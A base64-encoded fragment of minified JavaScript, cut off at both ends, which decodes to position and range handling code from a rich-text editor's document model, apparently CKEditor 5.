QpKX1nZXQgaXNBdFN0YXJ0KCl7cmV0dXJuIHRoaXMub2Zmc2V0PT09MH1nZXQgaXNBdEVuZCgpe3JldHVybiB0aGlzLm9mZnNldD09dGhpcy5wYXJlbnQubWF4T2Zmc2V0fWNvbXBhcmVXaXRoKHQpe2lmKHRoaXMucm9vdCE9dC5yb290KXtyZXR1cm4iZGlmZmVyZW50In1jb25zdCBlPUxzKHRoaXMucGF0aCx0LnBhdGgpO3N3aXRjaChlKXtjYXNlInNhbWUiOnJldHVybiJzYW1lIjtjYXNlInByZWZpeCI6cmV0dXJuImJlZm9yZSI7Y2FzZSJleHRlbnNpb24iOnJldHVybiJhZnRlciI7ZGVmYXVsdDpyZXR1cm4gdGhpcy5wYXRoW2VdPHQucGF0aFtlXT8iYmVmb3JlIjoiYWZ0ZXIifX1nZXRMYXN0TWF0Y2hpbmdQb3NpdGlvbih0LGU9e30pe2Uuc3RhcnRQb3NpdGlvbj10aGlzO2NvbnN0IG49bmV3IFFoKGUpO24uc2tpcCh0KTtyZXR1cm4gbi5wb3NpdGlvbn1nZXRQYXJlbnRQYXRoKCl7cmV0dXJuIHRoaXMucGF0aC5zbGljZSgwLC0xKX1nZXRBbmNlc3RvcnMoKXtjb25zdCB0PXRoaXMucGFyZW50O2lmKHQuaXMoImRvY3VtZW50RnJhZ21lbnQiKSl7cmV0dXJuW3RdfWVsc2V7cmV0dXJuIHQuZ2V0QW5jZXN0b3JzKHtpbmNsdWRlU2VsZjp0cnVlfSl9fWZpbmRBbmNlc3Rvcih0KXtjb25zdCBlPXRoaXMucGFyZW50O2lmKGUuaXMoImVsZW1lbnQiKSl7cmV0dXJuIGUuZmluZEFuY2VzdG9yKHQse2luY2x1ZGVTZWxmOnRydWV9KX1yZXR1cm4gbnVsbH1nZXRDb21tb25QYXRoKHQpe2lmKHRoaXMucm9vdCE9dC5yb290KXtyZXR1cm5bXX1jb25zdCBlPUxzKHRoaXMucGF0aCx0LnBhdGgpO2NvbnN0IG49dHlwZW9mIGU9PSJzdHJpbmciP01hdGgubWluKHRoaXMucGF0aC5sZW5ndGgsdC5wYXRoLmxlbmd0aCk6ZTtyZXR1cm4gdGhpcy5wYXRoLnNsaWNlKDAsbil9Z2V0Q29tbW9uQW5jZXN0b3IodCl7Y29uc3QgZT10aGlzLmdldEFuY2VzdG9ycygpO2NvbnN0IG49dC5nZXRBbmNlc3RvcnMoKTtsZXQgaT0wO3doaWxlKGVbaV09PW5baV0mJmVbaV0pe2krK31yZXR1cm4gaT09PTA/bnVsbDplW2ktMV19Z2V0U2hpZnRlZEJ5KHQpe2NvbnN0IGU9dGhpcy5jbG9uZSgpO2NvbnN0IG49ZS5vZmZzZXQrdDtlLm9mZnNldD1uPDA/MDpuO3JldHVybiBlfWlzQWZ0ZXIodCl7cmV0dXJuIHRoaXMuY29tcGFyZVdpdGgodCk9PSJhZnRlciJ9aXNCZWZvcmUodCl7cmV0dXJuIHRoaXMuY29tcGFyZVdpdGgodCk9PSJiZWZvcmUifWlzRXF1YWwodCl7cmV0dXJuIHRoaXMuY29tcGFyZVdpdGgodCk9PSJzYW1lIn1pc1RvdWNoaW5nKHQpe2xldCBlPW51bGw7bGV0IG49bnVsbDtjb25zdCBpPXRoaXMuY29tcGFyZVdpdGgodCk7c3dpdGNoKGkpe2Nhc2Uic2FtZSI6cmV0dXJuIHRydWU7Y2FzZSJiZWZvcmUiOmU9SmguX2NyZWF0ZUF0KHRoaXMpO249SmguX2NyZWF0ZUF0KHQpO2JyZWFrO2Nhc2UiYWZ0ZXIiOmU9SmguX2NyZWF0ZUF0KHQpO249SmguX2NyZWF0ZUF0KHRoaXMpO2JyZWFrO2RlZmF1bHQ6cmV0dXJuIGZhbHNlfWxldCBvPWUucGFyZW50O3doaWxlKGUucGF0aC5sZW5ndGgrbi5wYXRoLmxlbmd0aCl7aWYoZS5pc0VxdWFsKG4pKXtyZXR1cm4gdHJ1ZX1pZihlLnBhdGgubGVuZ3RoPm4ucGF0aC5sZW5ndGgpe2lmKGUub2Zmc2V0IT09by5tYXhPZmZzZXQpe3JldHVybiBmYWxzZX1lLnBhdGg9ZS5wYXRoLnNsaWNlKDAsLTEpO289by5wYXJlbnQ7ZS5vZmZzZXQrK31lbHNle2lmKG4ub2Zmc2V0IT09MCl7cmV0dXJuIGZhbHNlfW4ucGF0aD1uLnBhdGguc2xpY2UoMCwtMSl9fX1pcyh0KXtyZXR1cm4gdD09PSJwb3NpdGlvbiJ8fHQ9PT0ibW9kZWw6cG9zaXRpb24ifWhhc1NhbWVQYXJlbnRBcyh0KXtpZih0aGlzLnJvb3QhPT10LnJvb3Qpe3JldHVybiBmYWxzZX1jb25zdCBlPXRoaXMuZ2V0UGFyZW50UGF0aCgpO2NvbnN0IG49dC5nZXRQYXJlbnRQYXRoKCk7cmV0dXJuIExzKGUsbik9PSJzYW1lIn1nZXRUcmFuc2Zvcm1lZEJ5T3BlcmF0aW9uKHQpe2xldCBlO3N3aXRjaCh0LnR5cGUpe2Nhc2UiaW5zZXJ0IjplPXRoaXMuX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRPcGVyYXRpb24odCk7YnJlYWs7Y2FzZSJtb3ZlIjpjYXNlInJlbW92ZSI6Y2FzZSJyZWluc2VydCI6ZT10aGlzLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbih0KTticmVhaztjYXNlInNwbGl0IjplPXRoaXMuX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbih0KTticmVhaztjYXNlIm1lcmdlIjplPXRoaXMuX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbih0KTticmVhaztkZWZhdWx0OmU9SmguX2NyZWF0ZUF0KHRoaXMpO2JyZWFrfXJldHVybiBlfV9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0T3BlcmF0aW9uKHQpe3JldHVybiB0aGlzLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKHQucG9zaXRpb24sdC5ob3dNYW55KX1fZ2V0VHJhbnNmb3JtZWRCeU1vdmVPcGVyYXRpb24odCl7cmV0dXJuIHRoaXMuX2dldFRyYW5zZm9ybWVkQnlNb3ZlKHQuc291cmNlUG9zaXRpb24sdC50YXJnZXRQb3NpdGlvbix0Lmhvd01hbnkpfV9nZXRUcmFuc2Zvcm1lZEJ5U3BsaXRPcGVyYXRpb24odCl7Y29uc3QgZT10Lm1vdmVkUmFuZ2U7Y29uc3Qgbj1lLmNvbnRhaW5zUG9zaXRpb24odGhpcyl8fGUuc3RhcnQuaXNFcXVhbCh0aGlzKSYmdGhpcy5zdGlja2luZXNzPT0idG9OZXh0IjtpZihuKXtyZXR1cm4gdGhpcy5fZ2V0Q29tYmluZWQodC5zcGxpdFBvc2l0aW9uLHQubW92ZVRhcmdldFBvc2l0aW9uKX1lbHNle2lmKHQuZ3JhdmV5YXJkUG9zaXRpb24pe3JldHVybiB0aGlzLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZSh0LmdyYXZleWFyZFBvc2l0aW9uLHQuaW5zZXJ0aW9uUG9zaXRpb24sMSl9ZWxzZXtyZXR1cm4gdGhpcy5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbih0Lmluc2VydGlvblBvc2l0aW9uLDEpfX19X2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbih0KXtjb25zdCBlPXQubW92ZWRSYW5nZTtjb25zdCBuPWUuY29udGFpbnNQb3NpdGlvbih0aGlzKXx8ZS5zdGFydC5pc0VxdWFsKHRoaXMpO2xldCBpO2lmKG4pe2k9dGhpcy5fZ2V0Q29tYmluZWQodC5zb3VyY2VQb3NpdGlvbix0LnRhcmdldFBvc2l0aW9uKTtpZih0LnNvdXJjZVBvc2l0aW9uLmlzQmVmb3JlKHQudGFyZ2V0UG9zaXRpb24pKXtpPWkuX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbih0LmRlbGV0aW9uUG9zaXRpb24sMSl9fWVsc2UgaWYodGhpcy5pc0VxdWFsKHQuZGVsZXRpb25Qb3NpdGlvbikpe2k9SmguX2NyZWF0ZUF0KHQuZGVsZXRpb25Qb3NpdGlvbil9ZWxzZXtpPXRoaXMuX2dldFRyYW5zZm9ybWVkQnlNb3ZlKHQuZGVsZXRpb25Qb3NpdGlvbix0LmdyYXZleWFyZFBvc2l0aW9uLDEpfXJldHVybiBpfV9nZXRUcmFuc2Zvcm1lZEJ5RGVsZXRpb24odCxlKXtjb25zdCBuPUpoLl9jcmVhdGVBdCh0aGlzKTtpZih0aGlzLnJvb3QhPXQucm9vdCl7cmV0dXJuIG59aWYoTHModC5nZXRQYXJlbnRQYXRoKCksdGhpcy5nZXRQYXJlbnRQYXRoKCkpPT0ic2FtZSIpe2lmKHQub2Zmc2V0PHRoaXMub2Zmc2V0KXtpZih0Lm9mZnNldCtlPnRoaXMub2Zmc2V0KXtyZXR1cm4gbnVsbH1lbHNle24ub2Zmc2V0LT1lfX19ZWxzZSBpZihMcyh0LmdldFBhcmVudFBhdGgoKSx0aGlzLmdldFBhcmVudFBhdGgoKSk9PSJwcmVmaXgiKXtjb25zdCBpPXQucGF0aC5sZW5ndGgtMTtpZih0Lm9mZnNldDw9dGhpcy5wYXRoW2ldKXtpZih0Lm9mZnNldCtlPnRoaXMucGF0aFtpXSl7cmV0dXJuIG51bGx9ZWxzZXtuLnBhdGhbaV0tPWV9fX1yZXR1cm4gbn1fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbih0LGUpe2NvbnN0IG49SmguX2NyZWF0ZUF0KHRoaXMpO2lmKHRoaXMucm9vdCE9dC5yb290KXtyZXR1cm4gbn1pZihMcyh0LmdldFBhcmVudFBhdGgoKSx0aGlzLmdldFBhcmVudFBhdGgoKSk9PSJzYW1lIil7aWYodC5vZmZzZXQ8dGhpcy5vZmZzZXR8fHQub2Zmc2V0PT10aGlzLm9mZnNldCYmdGhpcy5zdGlja2luZXNzIT0idG9QcmV2aW91cyIpe24ub2Zmc2V0Kz1lfX1lbHNlIGlmKExzKHQuZ2V0UGFyZW50UGF0aCgpLHRoaXMuZ2V0UGFyZW50UGF0aCgpKT09InByZWZpeCIpe2NvbnN0IGk9dC5wYXRoLmxlbmd0aC0xO2lmKHQub2Zmc2V0PD10aGlzLnBhdGhbaV0pe24ucGF0aFtpXSs9ZX19cmV0dXJuIG59X2dldFRyYW5zZm9ybWVkQnlNb3ZlKHQsZSxuKXtlPWUuX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbih0LG4pO2lmKHQuaXNFcXVhbChlKSl7cmV0dXJuIEpoLl9jcmVhdGVBdCh0aGlzKX1jb25zdCBpPXRoaXMuX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbih0LG4pO2NvbnN0IG89aT09PW51bGx8fHQuaXNFcXVhbCh0aGlzKSYmdGhpcy5zdGlja2luZXNzPT0idG9OZXh0Inx8dC5nZXRTaGlmdGVkQnkobikuaXNFcXVhbCh0aGlzKSYmdGhpcy5zdGlja2luZXNzPT0idG9QcmV2aW91cyI7aWYobyl7cmV0dXJuIHRoaXMuX2dldENvbWJpbmVkKHQsZSl9ZWxzZXtyZXR1cm4gaS5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbihlLG4pfX1fZ2V0Q29tYmluZWQodCxlKXtjb25zdCBuPXQucGF0aC5sZW5ndGgtMTtjb25zdCBpPUpoLl9jcmVhdGVBdChlKTtpLnN0aWNraW5lc3M9dGhpcy5zdGlja2luZXNzO2kub2Zmc2V0PWkub2Zmc2V0K3RoaXMucGF0aFtuXS10Lm9mZnNldDtpLnBhdGg9Wy4uLmkucGF0aCwuLi50aGlzLnBhdGguc2xpY2UobisxKV07cmV0dXJuIGl9dG9KU09OKCl7cmV0dXJue3Jvb3Q6dGhpcy5yb290LnRvSlNPTigpLHBhdGg6QXJyYXkuZnJvbSh0aGlzLnBhdGgpLHN0aWNraW5lc3M6dGhpcy5zdGlja2luZXNzfX1jbG9uZSgpe3JldHVybiBuZXcgdGhpcy5jb25zdHJ1Y3Rvcih0aGlzLnJvb3QsdGhpcy5wYXRoLHRoaXMuc3RpY2tpbmVzcyl9c3RhdGljIF9jcmVhdGVBdCh0LGUsbj0idG9Ob25lIil7aWYodCBpbnN0YW5jZW9mIEpoKXtyZXR1cm4gbmV3IEpoKHQucm9vdCx0LnBhdGgsdC5zdGlja2luZXNzKX1lbHNle2NvbnN0IGk9dDtpZihlPT0iZW5kIil7ZT1pLm1heE9mZnNldH1lbHNlIGlmKGU9PSJiZWZvcmUiKXtyZXR1cm4gdGhpcy5fY3JlYXRlQmVmb3JlKGksbil9ZWxzZSBpZihlPT0iYWZ0ZXIiKXtyZXR1cm4gdGhpcy5fY3JlYXRlQWZ0ZXIoaSxuKX1lbHNlIGlmKGUhPT0wJiYhZSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLWNyZWF0ZXBvc2l0aW9uYXQtb2Zmc2V0LXJlcXVpcmVkIixbdGhpcyx0XSl9aWYoIWkuaXMoImVsZW1lbnQiKSYmIWkuaXMoImRvY3VtZW50RnJhZ21lbnQiKSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXBvc2l0aW9uLXBhcmVudC1pbmNvcnJlY3QiLFt0aGlzLHRdKX1jb25zdCBvPWkuZ2V0UGF0aCgpO28ucHVzaChlKTtyZXR1cm4gbmV3IHRoaXMoaS5yb290LG8sbil9fXN0YXRpYyBfY3JlYXRlQWZ0ZXIodCxlKXtpZighdC5wYXJlbnQpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC1wb3NpdGlvbi1hZnRlci1yb290IixbdGhpcyx0XSx7cm9vdDp0fSl9cmV0dXJuIHRoaXMuX2NyZWF0ZUF0KHQucGFyZW50LHQuZW5kT2Zmc2V0LGUpfXN0YXRpYyBfY3JlYXRlQmVmb3JlKHQsZSl7aWYoIXQucGFyZW50KXt0aHJvdyBuZXcgc3NbImEiXSgibW9kZWwtcG9zaXRpb24tYmVmb3JlLXJvb3QiLHQse3Jvb3Q6dH0pfXJldHVybiB0aGlzLl9jcmVhdGVBdCh0LnBhcmVudCx0LnN0YXJ0T2Zmc2V0LGUpfXN0YXRpYyBmcm9tSlNPTih0LGUpe2lmKHQucm9vdD09PSIkZ3JhdmV5YXJkIil7Y29uc3Qgbj1uZXcgSmgoZS5ncmF2ZXlhcmQsdC5wYXRoKTtuLnN0aWNraW5lc3M9dC5zdGlja2luZXNzO3JldHVybiBufWlmKCFlLmdldFJvb3QodC5yb290KSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXBvc2l0aW9uLWZyb21qc29uLW5vLXJvb3QiLGUse3Jvb3ROYW1lOnQucm9vdH0pfXJldHVybiBuZXcgSmgoZS5nZXRSb290KHQucm9vdCksdC5wYXRoLHQuc3RpY2tpbmVzcyl9fWZ1bmN0aW9uIFpoKHQsZSl7Y29uc3Qgbj1lLmdldENoaWxkKGUub2Zmc2V0VG9JbmRleCh0Lm9mZnNldCkpO2lmKG4mJm4uaXMoIiR0ZXh0IikmJm4uc3RhcnRPZmZzZXQ8dC5vZmZzZXQpe3JldHVybiBufXJldHVybiBudWxsfWZ1bmN0aW9uIFhoKHQsZSxuKXtpZihuIT09bnVsbCl7cmV0dXJuIG51bGx9cmV0dXJuIGUuZ2V0Q2hpbGQoZS5vZmZzZXRUb0luZGV4KHQub2Zmc2V0KSl9ZnVuY3Rpb24gdGYodCxlLG4pe2lmKG4hPT1udWxsKXtyZXR1cm4gbnVsbH1yZXR1cm4gZS5nZXRDaGlsZChlLm9mZnNldFRvSW5kZXgodC5vZmZzZXQpLTEpfWNsYXNzIGVme2NvbnN0cnVjdG9yKHQsZT1udWxsKXt0aGlzLnN0YXJ0PUpoLl9jcmVhdGVBdCh0KTt0aGlzLmVuZD1lP0poLl9jcmVhdGVBdChlKTpKaC5fY3JlYXRlQXQodCk7dGhpcy5zdGFydC5zdGlja2luZXNzPXRoaXMuaXNDb2xsYXBzZWQ/InRvTm9uZSI6InRvTmV4dCI7dGhpcy5lbmQuc3RpY2tpbmVzcz10aGlzLmlzQ29sbGFwc2VkPyJ0b05vbmUiOiJ0b1ByZXZpb3VzIn0qW1N5bWJvbC5pdGVyYXRvcl0oKXt5aWVsZCpuZXcgUWgoe2JvdW5kYXJpZXM6dGhpcyxpZ25vcmVFbGVtZW50RW5kOnRydWV9KX1nZXQgaXNDb2xsYXBzZWQoKXtyZXR1cm4gdGhpcy5zdGFydC5pc0VxdWFsKHRoaXMuZW5kKX1nZXQgaXNGbGF0KCl7Y29uc3QgdD10aGlzLnN0YXJ0LmdldFBhcmVudFBhdGgoKTtjb25zdCBlPXRoaXMuZW5kLmdldFBhcmVudFBhdGgoKTtyZXR1cm4gTHModCxlKT09InNhbWUifWdldCByb290KCl7cmV0dXJuIHRoaXMuc3RhcnQucm9vdH1jb250YWluc1Bvc2l0aW9uKHQpe3JldHVybiB0LmlzQWZ0ZXIodGhpcy5zdGFydCkmJnQuaXNCZWZvcmUodGhpcy5lbmQpfWNvbnRhaW5zUmFuZ2UodCxlPWZhbHNlKXtpZih0LmlzQ29sbGFwc2VkKXtlPWZhbHNlfWNvbnN0IG49dGhpcy5jb250YWluc1Bvc2l0aW9uKHQuc3RhcnQpfHxlJiZ0aGlzLnN0YXJ0LmlzRXF1YWwodC5zdGFydCk7Y29uc3QgaT10aGlzLmNvbnRhaW5zUG9zaXRpb24odC5lbmQpfHxlJiZ0aGlzLmVuZC5pc0VxdWFsKHQuZW5kKTtyZXR1cm4gbiYmaX1jb250YWluc0l0ZW0odCl7Y29uc3QgZT1KaC5fY3JlYXRlQmVmb3JlKHQpO3JldHVybiB0aGlzLmNvbnRhaW5zUG9zaXRpb24oZSl8fHRoaXMuc3RhcnQuaXNFcXVhbChlKX1pcyh0KXtyZXR1cm4gdD09PSJyYW5nZSJ8fHQ9PT0ibW9kZWw6cmFuZ2UifWlzRXF1YWwodCl7cmV0dXJuIHRoaXMuc3RhcnQuaXNFcXVhbCh0LnN0YXJ0KSYmdGhpcy5lbmQuaXNFcXVhbCh0LmVuZCl9aXNJbnRlcnNlY3RpbmcodCl7cmV0dXJuIHRoaXMuc3RhcnQuaXNCZWZvcmUodC5lbmQpJiZ0aGlzLmVuZC5pc0FmdGVyKHQuc3RhcnQpfWdldERpZmZlcmVuY2UodCl7Y29uc3QgZT1bXTtpZih0aGlzLmlzSW50ZXJzZWN0aW5nKHQpKXtpZih0aGlzLmNvbnRhaW5zUG9zaXRpb24odC5zdGFydCkpe2UucHVzaChuZXcgZWYodGhpcy5zdGFydCx0LnN0YXJ0KSl9aWYodGhpcy5jb250YWluc1Bvc2l0aW9uKHQuZW5kKSl7ZS5wdXNoKG5ldyBlZih0LmVuZCx0aGlzLmVuZCkpfX1lbHNle2UucHVzaChuZXcgZWYodGhpcy5zdGFydCx0aGlzLmVuZCkpfXJldHVybiBlfWdldEludGVyc2VjdGlvbih0KXtpZih0aGlzLmlzSW50ZXJzZWN0aW5nKHQpKXtsZXQgZT10aGlzLnN0YXJ0O2xldCBuPXRoaXMuZW5kO2lmKHRoaXMuY29udGFpbnNQb3NpdGlvbih0LnN0YXJ0KSl7ZT10LnN0YXJ0fWlmKHRoaXMuY29udGFpbnNQb3NpdGlvbih0LmVuZCkpe249dC5lbmR9cmV0dXJuIG5ldyBlZihlLG4pfXJldHVybiBudWxsfWdldEpvaW5lZCh0LGU9ZmFsc2Upe2xldCBuPXRoaXMuaXNJbnRlcnNlY3RpbmcodCk7aWYoIW4pe2lmKHRoaXMuc3RhcnQuaXNCZWZvcmUodC5zdGFydCkpe249ZT90aGlzLmVuZC5pc1RvdWNoaW5nKHQuc3RhcnQpOnRoaXMuZW5kLmlzRXF1YWwodC5zdGFydCl9ZWxzZXtuPWU/dC5lbmQuaXNUb3VjaGluZyh0aGlzLnN0YXJ0KTp0LmVuZC5pc0VxdWFsKHRoaXMuc3RhcnQpfX1pZighbil7cmV0dXJuIG51bGx9bGV0IGk9dGhpcy5zdGFydDtsZXQgbz10aGlzLmVuZDtpZih0LnN0YXJ0LmlzQmVmb3JlKGkpKXtpPXQuc3RhcnR9aWYodC5lbmQuaXNBZnRlcihvKSl7bz10LmVuZH1yZXR1cm4gbmV3IGVmKGksbyl9Z2V0TWluaW1hbEZsYXRSYW5nZXMoKXtjb25zdCB0PVtdO2NvbnN0IGU9dGhpcy5zdGFydC5nZXRDb21tb25QYXRoKHRoaXMuZW5kKS5sZW5ndGg7Y29uc3Qgbj1KaC5fY3JlYXRlQXQodGhpcy5zdGFydCk7bGV0IGk9bi5wYXJlbnQ7d2hpbGUobi5wYXRoLmxlbmd0aD5lKzEpe2NvbnN0IGU9aS5tYXhPZmZzZXQtbi5vZmZzZXQ7aWYoZSE9PTApe3QucHVzaChuZXcgZWYobixuLmdldFNoaWZ0ZWRCeShlKSkpfW4ucGF0aD1uLnBhdGguc2xpY2UoMCwtMSk7bi5vZmZzZXQrKztpPWkucGFyZW50fXdoaWxlKG4ucGF0aC5sZW5ndGg8PXRoaXMuZW5kLnBhdGgubGVuZ3RoKXtjb25zdCBlPXRoaXMuZW5kLnBhdGhbbi5wYXRoLmxlbmd0aC0xXTtjb25zdCBpPWUtbi5vZmZzZXQ7aWYoaSE9PTApe3QucHVzaChuZXcgZWYobixuLmdldFNoaWZ0ZWRCeShpKSkpfW4ub2Zmc2V0PWU7bi5wYXRoLnB1c2goMCl9cmV0dXJuIHR9Z2V0V2Fsa2VyKHQ9e30pe3QuYm91bmRhcmllcz10aGlzO3JldHVybiBuZXcgUWgodCl9KmdldEl0ZW1zKHQ9e30pe3QuYm91bmRhcmllcz10aGlzO3QuaWdub3JlRWxlbWVudEVuZD10cnVlO2NvbnN0IGU9bmV3IFFoKHQpO2Zvcihjb25zdCB0IG9mIGUpe3lpZWxkIHQuaXRlbX19KmdldFBvc2l0aW9ucyh0PXt9KXt0LmJvdW5kYXJpZXM9dGhpcztjb25zdCBlPW5ldyBRaCh0KTt5aWVsZCBlLnBvc2l0aW9uO2Zvcihjb25zdCB0IG9mIGUpe3lpZWxkIHQubmV4dFBvc2l0aW9ufX1nZXRUcmFuc2Zvcm1lZEJ5T3BlcmF0aW9uKHQpe3N3aXRjaCh0LnR5cGUpe2Nhc2UiaW5zZXJ0IjpyZXR1cm4gdGhpcy5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydE9wZXJhdGlvbih0KTtjYXNlIm1vdmUiOmNhc2UicmVtb3ZlIjpjYXNlInJlaW5zZXJ0IjpyZXR1cm4gdGhpcy5fZ2V0VHJhbnNmb3JtZWRCeU1vdmVPcGVyYXRpb24odCk7Y2FzZSJzcGxpdCI6cmV0dXJuW3RoaXMuX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbih0KV07Y2FzZSJtZXJnZSI6cmV0dXJuW3RoaXMuX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbih0KV19cmV0dXJuW25ldyBlZih0aGlzLnN0YXJ0LHRoaXMuZW5kKV19Z2V0VHJhbnNmb3JtZWRCeU9wZXJhdGlvbnModCl7Y29uc3QgZT1bbmV3IGVmKHRoaXMuc3RhcnQsdGhpcy5lbmQpXTtmb3IoY29uc3QgbiBvZiB0KXtmb3IobGV0IHQ9MDt0PGUubGVuZ3RoO3QrKyl7Y29uc3QgaT1lW3RdLmdldFRyYW5zZm9ybWVkQnlPcGVyYXRpb24obik7ZS5zcGxpY2UodCwxLC4uLmkpO3QrPWkubGVuZ3RoLTF9fWZvcihsZXQgdD0wO3Q8ZS5sZW5ndGg7dCsrKXtjb25zdCBuPWVbdF07Zm9yKGxldCBpPXQrMTtpPGUubGVuZ3RoO2krKyl7Y29uc3QgdD1lW2ldO2lmKG4uY29udGFpbnNSYW5nZSh0KXx8dC5jb250YWluc1JhbmdlKG4pfHxuLmlzRXF1YWwodCkpe2Uuc3BsaWNlKGksMSl9fX1yZXR1cm4gZX1nZXRDb21tb25BbmNlc3Rvcigpe3JldHVybiB0aGlzLnN0YXJ0LmdldENvbW1vbkFuY2VzdG9yKHRoaXMuZW5kKX1nZXRDb250YWluZWRFbGVtZW50KCl7aWYodGhpcy5pc0NvbGxhcHNlZCl7cmV0dXJuIG51bGx9Y29uc3QgdD10aGlzLnN0YXJ0Lm5vZGVBZnRlcjtjb25zdCBlPXRoaXMuZW5kLm5vZGVCZWZvcmU7aWYodCYmdC5pcygiZWxlbWVudCIpJiZ0PT09ZSl7cmV0dXJuIHR9cmV0dXJuIG51bGx9dG9KU09OKCl7cmV0dXJue3N0YXJ0OnRoaXMuc3RhcnQudG9KU09OKCksZW5kOnRoaXMuZW5kLnRvSlNPTigpfX1jbG9uZSgpe3JldHVybiBuZXcgdGhpcy5jb25zdHJ1Y3Rvcih0aGlzLnN0YXJ0LHRoaXMuZW5kKX1fZ2V0VHJhbnNmb3JtZWRCeUluc2VydE9wZXJhdGlvbih0LGU9ZmFsc2Upe3JldHVybiB0aGlzLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKHQucG9zaXRpb24sdC5ob3dNYW55LGUpfV9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbih0LGU9ZmFsc2Upe2NvbnN0IG49dC5zb3VyY2VQb3NpdGlvbjtjb25zdCBpPXQuaG93TWFueTtjb25zdCBvPXQudGFyZ2V0UG9zaXRpb247cmV0dXJuIHRoaXMuX2dldFRyYW5zZm9ybWVkQnlNb3ZlKG4sbyxpLGUpfV9nZXRUcmFuc2Zvcm1lZEJ5U3BsaXRPcGVyYXRpb24odCl7Y29uc3QgZT10aGlzLnN0YXJ0Ll9nZXRUcmFuc2Zvcm1lZEJ5U3BsaXRPcGVyYXRpb24odCk7bGV0IG49dGhpcy5lbmQuX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbih0KTtpZih0aGlzLmVuZC5pc0VxdWFsKHQuaW5zZXJ0aW9uUG9zaXRpb24pKXtuPXRoaXMuZW5kLmdldFNoaWZ0ZWRCeSgxKX1pZihlLnJvb3QhPW4ucm9vdCl7bj10aGlzLmVuZC5nZXRTaGlmdGVkQnkoLTEpfXJldHVybiBuZXcgZWYoZSxuKX1fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKHQpe2lmKHRoaXMuc3RhcnQuaXNFcXVhbCh0LnRhcmdldFBvc2l0aW9uKSYmdGhpcy5lbmQuaXNFcXVhbCh0LmRlbGV0aW9uUG9zaXRpb24pKXtyZXR1cm4gbmV3IGVmKHRoaXMuc3RhcnQpfWxldCBlPXRoaXMuc3RhcnQuX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbih0KTtsZXQgbj10aGlzLmVuZC5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKHQpO2lmKGUucm9vdCE9bi5yb290KXtuPXRoaXMuZW5kLmdldFNoaWZ0ZWRCeSgtMSl9aWYoZS5pc0FmdGVyKG4pKXtpZih0LnNvdXJjZVBvc2l0aW9uLmlzQmVmb3JlKHQudGFyZ2V0UG9zaXRpb24pKXtlPUpoLl9jcmVhdGVBdChuKTtlLm9mZnNldD0wfWVsc2V7aWYoIXQuZGVsZXRpb25Qb3NpdGlvbi5pc0VxdWFsKGUpKXtuPXQuZGVsZXRpb25Qb3NpdGlvbn1lPXQudGFyZ2V0UG9zaXRpb259cmV0dXJuIG5ldyBlZihlLG4pfXJldHVybiBuZXcgZWYoZSxuKX1fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbih0LGUsbj1mYWxzZSl7aWYobiYmdGhpcy5jb250YWluc1Bvc2l0aW9uKHQpKXtyZXR1cm5bbmV3IGVmKHRoaXMuc3RhcnQsdCksbmV3IGVmKHQuZ2V0U2hpZnRlZEJ5KGUpLHRoaXMuZW5kLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKHQsZSkpXX1lbHNle2NvbnN0IG49bmV3IGVmKHRoaXMuc3RhcnQsdGhpcy5lbmQpO24uc3RhcnQ9bi5zdGFydC5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbih0LGUpO24uZW5kPW4uZW5kLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKHQsZSk7cmV0dXJuW25dfX1fZ2V0VHJhbnNmb3JtZWRCeU1vdmUodCxlLG4saT1mYWxzZSl7aWYodGhpcy5pc0NvbGxhcHNlZCl7Y29uc3QgaT10aGlzLnN0YXJ0Ll9nZXRUcmFuc2Zvcm1lZEJ5TW92ZSh0LGUsbik7cmV0dXJuW25ldyBlZihpKV19Y29uc3Qgbz1lZi5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQodCxuKTtjb25zdCByPWUuX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbih0LG4pO2lmKHRoaXMuY29udGFpbnNQb3NpdGlvbihlKSYmIWkpe2lmKG8uY29udGFpbnNQb3NpdGlvbih0aGlzLnN0YXJ0KXx8by5jb250YWluc1Bvc2l0aW9uKHRoaXMuZW5kKSl7Y29uc3QgaT10aGlzLnN0YXJ0Ll9nZXRUcmFuc2Zvcm1lZEJ5TW92ZSh0LGUsbik7Y29uc3Qgbz10aGlzLmVuZC5fZ2V0VHJhbnNmb3JtZWRCeU1vdmUodCxlLG4pO3JldHVybltuZXcgZWYoaSxvKV19fWxldCBzO2NvbnN0IGE9dGhpcy5nZXREaWZmZXJlbmNlKG8pO2xldCBjPW51bGw7Y29uc3QgbD10aGlzLmdldEludGVyc2VjdGlvbihvKTtpZihhLmx